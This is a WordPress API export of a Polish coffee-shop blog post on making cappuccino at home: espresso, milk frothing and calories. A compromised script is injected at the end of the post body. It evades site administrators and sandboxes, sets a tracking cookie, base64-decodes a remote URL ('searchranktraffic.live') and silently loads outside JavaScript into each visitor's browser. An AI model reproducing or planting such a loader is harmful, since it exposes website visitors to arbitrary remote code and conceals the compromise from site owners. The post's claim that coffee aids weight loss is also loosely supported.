{"id":4632,"date":"2020-10-29T15:23:33","date_gmt":"2020-10-29T14:23:33","guid":{"rendered":"https:\/\/www.mobilnybarista.pl\/sklep\/?p=4632"},"modified":"2026-03-09T05:14:08","modified_gmt":"2026-03-09T04:14:08","slug":"cappuccino-dla-poczatkujacych","status":"publish","type":"post","link":"https:\/\/www.mobilnybarista.pl\/sklep\/?p=4632","title":{"rendered":"Cappuccino dla pocz\u0105tkuj\u0105cych"},"content":{"rendered":"\n<p><strong>Kremowa pianka, mleczny smak z odrobin\u0105 kawowej goryczy i przyjemne ciep\u0142o unosz\u0105ce si\u0119 z fili\u017canki. Kiedy spr\u00f3bujemy w kawiarni idealnego cappuccino, trudno nam b\u0119dzie zapomnie\u0107 o tym wyj\u0105tkowym smaku. Zrobienie idealnego cappuccino jest prawdziw\u0105 sztuk\u0105, kt\u00f3rej bari\u015bci ucz\u0105 si\u0119 miesi\u0105cami. Ale w domowych warunkach tak naprawd\u0119 ka\u017cda osoba b\u0119dzie mog\u0142a odtworzy\u0107 t\u0105 wspania\u0142\u0105 kaw\u0119, je\u017celi tylko ma odpowiedni sprz\u0119t i zapa\u0142!<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Jak zrobi\u0107 cappuccino?<\/h2>\n\n\n\n<p>Podstaw\u0105 do zrobienia <strong>cappuccino<\/strong> jest dobra kawa, a dok\u0142adniej dobre <a href=\"https:\/\/www.mobilnybarista.pl\/sklep\/jak-przyrzadzic-i-podac-espresso\/\"><strong>espresso<\/strong><\/a>. B\u0119dziemy r\u00f3wnie\u017c potrzebowali t\u0142ustego mleka krowiego lub napoju sojowego dla barist\u00f3w. Niestety w tym przepisie nie wszystkie mleka ro\u015blinne nadadz\u0105 si\u0119. Co do sprz\u0119t\u00f3w, to oczywi\u015bcie jest potrzebny <a href=\"https:\/\/www.mobilnybarista.pl\/sklep\/ekspresy\/\"><strong>ekspres<\/strong><\/a> oraz spieniacz do kawy, jak i fili\u017canka. Zaczynamy od zrobienia espresso i najlepiej zrobi\u0107 to od razu w fili\u017cance do <strong>cappuccino<\/strong>, aby go p\u00f3\u017aniej nie przelewa\u0107. Nast\u0119pnie wlej mleko podgrzane do mniej ni\u017c 70 stopni Celsjusza do spieniacza. Zacznij spienianie zaraz pod powierzchni\u0105 mleka, aby stopniowo schodzi\u0107 coraz ni\u017cej. Pianka powinna by\u0107 zbita, cz\u0119stym b\u0142\u0119dem jest w\u0142a\u015bnie zbyt puszysta pianka. Po\u0142\u0105czenie mleka, espresso i pianki powinno by\u0107 dobrze przemy\u015blane. Wszystkie sk\u0142adniki powinny pozosta\u0107 w proporcji \u2153. Zacznij wlewa\u0107 spienione mleko z piank\u0105 do fili\u017canki z espresso na wysoko\u015bci oko\u0142o 10 centymetr\u00f3w. Dzi\u0119ki temu do fili\u017canki najpierw wleje si\u0119 spienione mleko, a dopiero potem pianka.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Ile kalorii ma cappuccino?<\/h2>\n\n\n\n<p>Sztuka zrobienia dobrego cappuccino jest naprawd\u0119 trudna, wi\u0119c nie przejmuj si\u0119 je\u017celi nie wyjdzie Ci za pierwszym razem. Po prostu pr\u00f3buj i ciesz si\u0119 procesem uczenia si\u0119 nowej umiej\u0119tno\u015bci. Pyszna kawa jest r\u00f3wnie\u017c dobr\u0105 opcj\u0105 jako poobiedni deser. Przeci\u0119tna fili\u017canka <strong>cappuccino<\/strong> ma oko\u0142o 55-60 kalorii. Spienione mleko ma du\u017c\u0105 obj\u0119to\u015b\u0107. Dzi\u0119ki temu mamy wra\u017cenie, \u017ce pysznego t\u0142ustego mleka jest du\u017co wi\u0119cej ni\u017c w rzeczywisto\u015bci. Dodatkowo kawa jest dobrym sposobem na odchudzanie, gdy\u017c kofeina znacznie hamuje uczucie g\u0142odu! Tak\u017ce nie pozostaje nic innego, tylko wybra\u0107 <a href=\"https:\/\/www.mobilnybarista.pl\/sklep\/kawa\/\"><strong>sklep z kaw\u0105<\/strong><\/a><strong> <\/strong>i kupi\u0107 sk\u0142adniki do domowego cappuccino.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Kremowa pianka, mleczny smak z odrobin\u0105 kawowej goryczy i przyjemne ciep\u0142o unosz\u0105ce si\u0119 z fili\u017canki. Kiedy spr\u00f3bujemy w kawiarni idealnego cappuccino, trudno nam b\u0119dzie zapomnie\u0107 o tym wyj\u0105tkowym smaku. Zrobienie idealnego cappuccino jest prawdziw\u0105 sztuk\u0105, kt\u00f3rej bari\u015bci ucz\u0105 si\u0119 miesi\u0105cami. Ale w domowych warunkach tak naprawd\u0119 ka\u017cda osoba b\u0119dzie mog\u0142a odtworzy\u0107 t\u0105 wspania\u0142\u0105 kaw\u0119, je\u017celi tylko ma odpowiedni sprz\u0119t i zapa\u0142!<\/p>\n","protected":false},"author":3,"featured_media":4633,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4632","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-bez-kategorii"],"_links":{"self":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts\/4632","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4632"}],"version-history":[{"count":3,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts\/4632\/revisions"}],"predecessor-version":[{"id":12765,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts\/4632\/revisions\/12765"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/media\/4633"}],"wp:attachment":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4632"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4632"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4632"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}